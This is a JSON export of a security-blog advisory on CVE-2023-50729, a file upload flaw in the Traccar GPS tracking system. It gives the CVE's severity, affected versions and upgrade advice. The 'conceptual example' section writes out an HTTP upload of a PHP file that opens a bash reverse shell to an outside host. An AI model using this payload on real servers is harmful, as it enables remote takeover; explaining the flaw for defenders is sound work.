{"id":25332,"date":"2025-04-16T23:22:14","date_gmt":"2025-04-16T23:22:14","guid":{"rendered":""},"modified":"2025-04-26T06:18:47","modified_gmt":"2025-04-26T06:18:47","slug":"cve-2023-50729-unrestricted-file-upload-vulnerability-in-traccar-gps-tracking-system","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-50729-unrestricted-file-upload-vulnerability-in-traccar-gps-tracking-system\/","title":{"rendered":"<strong>CVE-2023-50729: Unrestricted File Upload Vulnerability in Traccar GPS Tracking System<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2023-50729 vulnerability is a severe exploit in Traccar, an open-source GPS tracking system. This flaw, present in versions prior to 5.11, allows attackers to upload unrestricted files that could potentially execute arbitrary code on the server, leading to severe system compromise or data leakage. This vulnerability gains further significance as <a href=\"https:\/\/www.ameeba.com\/blog\/fortinet-s-fortigate-vulnerability-ssl-vpn-symlink-exploit-puts-user-access-at-risk-post-patching\/\"  data-wpil-monitor-id=\"30058\">Traccar<\/a> is often recommended to run web servers as a root user, thus escalating the implications of a successful exploit.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2023-50729<br \/>\nSeverity: High (8.4 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-33113-memory-corruption-vulnerability-leading-to-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"31371\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-124668378\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Traccar | Prior to 5.11<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-24566-local-file-inclusion-vulnerability-in-woocommerce-currency-switcher-fox-wordpress-plugin\/\"  data-wpil-monitor-id=\"29328\">vulnerability arises from an unrestricted file<\/a> upload feature in Traccar. An attacker can exploit this vulnerability by sending a specially crafted request to the server to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2006-arbitrary-file-upload-vulnerability-in-inline-image-upload-for-bbpress-wordpress-plugin\/\"  data-wpil-monitor-id=\"30199\">upload<\/a> a malicious file, which can then be executed. Since Traccar runs as a root user on web servers, this vulnerability allows the attacker to write or overwrite files in any location on the server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0576-critical-vulnerability-in-totolink-lr1200gb-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"29383\">potentially leading to complete system<\/a> compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2786232384\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php\/\"  data-wpil-monitor-id=\"36055\">vulnerability might be exploited via a HTTP request:<\/a><\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload\/file HTTP\/1.1\nHost: traccar.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/php\n&lt;?php\nexec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/10.0.0.1\/8080 0&gt;&amp;1&#039;&quot;);\n?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, a PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2328-arbitrary-file-deletion-vulnerability-in-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin\/\"  data-wpil-monitor-id=\"29556\">file containing a reverse shell is uploaded<\/a> to the server. If the server <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34122\">executes this file<\/a>, it will open a reverse shell connection to the attacker&#8217;s machine, granting them control over the server.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to upgrade to Traccar version 5.11 or later, which contains a fix for the issue. As a temporary mitigation, users can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2891-arbitrary-file-upload-vulnerability-in-real-estate-7-wordpress-theme\/\"  data-wpil-monitor-id=\"29902\">file uploads<\/a>. However, these measures only reduce the risk and do not eliminate it entirely. A comprehensive solution involves patching the software to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3248-critical-code-injection-vulnerability-in-langflow-versions-prior-to-1-3-0\/\"  data-wpil-monitor-id=\"30422\">version where the vulnerability<\/a> is fixed.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2023-50729 vulnerability is a severe exploit in Traccar, an open-source GPS tracking system. This flaw, present in versions prior to 5.11, allows attackers to upload unrestricted files that could potentially execute arbitrary code on the server, leading to severe system compromise or data leakage. This vulnerability gains further significance as Traccar is often [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-25332","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/25332","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=25332"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/25332\/revisions"}],"predecessor-version":[{"id":31689,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/25332\/revisions\/31689"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=25332"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=25332"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=25332"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=25332"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=25332"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=25332"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=25332"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=25332"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=25332"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}